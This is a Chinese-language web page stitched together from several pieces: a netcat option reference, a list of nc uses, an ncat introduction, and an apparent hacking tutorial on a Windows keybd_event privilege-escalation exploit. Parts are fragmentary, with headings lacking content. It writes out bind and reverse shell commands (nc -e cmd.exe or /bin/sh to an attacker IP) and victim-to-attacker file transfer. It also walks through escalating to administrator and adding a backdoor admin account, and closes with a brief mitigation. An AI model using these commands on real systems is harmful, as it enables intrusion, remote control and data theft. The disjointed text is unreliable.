连接到某处:nc [-options] hostname port[s] [ports].....
监听某端口等待连接:nc -l -p port [options] [hostname] [port] -options
-d 后台运行
-e prog 程序重定向,一旦有连接,就执行绑定的程序。
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i 设定延时时间。
-l 监听方式,等待连入。连接完成后,结束监听。
-L 监听方式,等待连入。连接完成后,继续监听。
-n 只能使用ip地址。
-o file 指定要传送的16进制代码。
-p port 指定本地的端口号。
-r 随意指定本地或远程端口号。
-s addr 本地的源地址。
-t 回显telnet信息。
-u UDP方式。
-v 显示详细的信息,-vv 可获取更详细的信息。
-w 指定超时的时间。
-z 用于scan。
以上就是nc的一些参数和选项,注意,这是nt版本的nc。如果是*nix的需要自己编译。也都差不多,只是netcat.c默认是没有-t和-e这个两个参数,要改。
看看它能干些什么,(偶就知道这些)
1.端口的刺探:
nc -vv ip port
2.扫描器
nc -v -w 5 ip port-port
nc -v -z ip port-port
3. 后门
victim machine:
nc -l -p port -e cmd.exe
nc -l -p port -e /bin/sh
attacker machine:
nc victim ip -p port
得到一个shell。
4.反向连接
attacker machine:
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker ip port1 | cmd.exe | nc attacker ip port2
nc attacker ip port1 | /bin/sh | nc attacker ip port2
5.传送文件:
attacker machine <-- victim machine
nc -d -l -p port <path file /*attacker machine*/
nc -vv attacker ip -p port >path file /*victim machine*/
attacker machine -->victim machine
nc -vv -l -p >patm file/*victim machine*/
nc -d victim ip -p port <path file /*attacker machine*/
nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。比如大家很熟悉使用telnet测试tcp端口,而nc可以支持测试linux的tcp和udp端口,而且也经常被用于端口扫描,甚至把nc作为server以TCP或UDP方式侦听指定端口做简单的模拟测试。
2020年10月07日 - 初稿
阅读原文 - https://wsgzao.github.io/post/nc/
ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。
ncat / nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。
在大多数 Debian 发行版中, nc 是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7 / RHEL 7 的最小化安装中, nc 并不会默认被安装。 你需要用下列命令手工安装。
nc的作用:
nc的控制参数不少,常用的几个参数如下所列:
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
暂未用到(老版本的nc可能需要在端口号前加-p参数)
指定发送数据的源IP地址,适用于多网卡机
指定nc使用UDP协议,默认为TCP
输出交互或出错信息,新手调试时尤为有用
6)-w
超时秒数,后面跟数字
7)-z
表示zero,表示扫描时不发送任何数据
作用:批量端口扫描,可根据扫描主机的配置调整后台扫描进程数量(手动执行后根据统计的执行时间调整脚本中关于进程数量的参数),通过定时任务作为简单的服务监控(可修改脚本添加其他报警功能,例如邮件等)
实现:使用nc指令扫描端口,使用管道特性控制后台扫描进程数量
不足:仅仅对扫描端口状态为down的信息做记录,并没有其他报警 *** 作
使用:
10 useful ncat (nc) Command Examples for Linux Systems
nc命令用法举例
用以下命令进行权限升级:net localgroup administrators USER /add
其中,USER为你当前要用的用户名。
因为设计缺陷,Windows桌面应用程序处理通过keybd_event() function函数发送的键盘事件时存在溢出错误,攻击者可以通过向以更高权限运行的桌面应用程序(如explorer.exe)发送恶意的键盘事件,使用管理员权限执行任意代码。这一漏洞可以使一个普通用户权限的账户使用管理员权限对系统进行任意 *** 作。该漏洞影响的系统:Windows 2000,Windows XP,Windows2003。
准备好入侵工具
pulist:一款进程PID查看器,可以在命令提示符下查看当前系统进程的PID值。 keybd:键盘事件权限提升漏洞的溢出工具,通过它可以取得系统管理员权限。 nc:黑客入侵的“瑞士军刀”,系统端口监听利器,功能相当强大。
入侵过程
一、获得进程PID值
根据漏洞特点,我们需要获取一个桌面应用程序(如explorer.exe)的进程PID值。在系统的“任务管理器”中,我们是看不到进程的PID值的,所以我们需要借助一款可以查看系统进程PID值的小工具——pulist。在“命令提示符”中运行“pulist.exe”,即可显示当前系统进程的PID值,我们在其中找到“explorer.exe”进程的PID,这里是“1716”(如图)。
此主题相关图片如下:
小知识:进程的PID值指的是代表各进程的ID值。PID就是对各进程的身份标志,每个进程都有自己唯一的PID值。
二、提升账户权限
信息收集完毕,我们使用一个名为“888”的普通用户权限账户进行漏洞测试。我们运行“命令提示符”,输入“runas /user:888 cmd.exe”这个命令的意思是以用户“888”的权限运行一个命令提示符窗口,回车后系统会出现一个新的命令提示符窗口,其窗口标题为“cmd.exe(运行为888)”。这个命令提示符中我们的权限只是普通用户级别的,很多 *** 作不能进行,例如添加删除用户等。当试图用该账户进行用户的添加删除 *** 作时将会出现错误。
将下载回来的漏洞利用程序keybd解压到某个目录中,例如“c:”。此外我们还要用到远程监听工具nc,将它与keybd放在同一目录中。在命令提示符中进入keybd所在的文件夹,输入命令 “keybd.exe 1716”。回车,这时系统会跳出一个新的命令提示符窗口,表示keybd.exe已经溢出成功。
小提示:溢出时要保证系统的默认输入法为“英文”,否则将会使溢出失败。
溢出成功后,就该nc出马了。在命令提示符中进入nc所在的目录,然后输入“nc -vv localhost 65535”,回车后便出现了欢迎界面。这表示888账户已经获得管理员权限。我们接着输入“net user piao 123456 /add”新建一个账户名为piao,密码为123456的用户。然后输入“net localgroup administrators piao /add”,将账户piao加入系统的管理员组。这两个只有管理员权限才可以执行的命令都可以成功完成,入侵成功。
小提示:我们获取的管理员权限依赖于执行“keybd.exe”后d出的命令提示符窗口,如果把这个d出的命令提示符窗口关闭,以888账户运行的命令提示符会立刻回到普通用户权限,所以在执行命令的时候一定不可以将之关闭。
危害虽小,仍须防范
由于该漏洞是因为本地系统设计上的缺陷造成的,所以只能用于本地用户的权限提升,而且必须是本地登录的用户。但是不管漏洞如何之小,存在肯定会对系统造成严重的安全隐患,我们还是要修复漏洞,以防别有用心之人。
要利用漏洞就需要使用到“命令提示符”,我们可以通过限制“命令提示符”的运行权限使攻击者无从下手。首先在资源管理器中点击“工具”按钮,选择“文件夹选项”,切换到“查看”标签,去掉“使用简单文件共享(推荐)”前面的钩,这一步是为了让文件的属性菜单中显示“安全”标签。然后我们进入“c:windowssystem32”,找到“cmd.exe”,点右键选择“属性”,切换到“安全”标签,将其中“组或用户名称”中除了管理员外的所有用户都删除,完成后点“确定”,这样当普通用户想运行“命令提示符”的时候将会出现“拒绝访问”的警告框
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)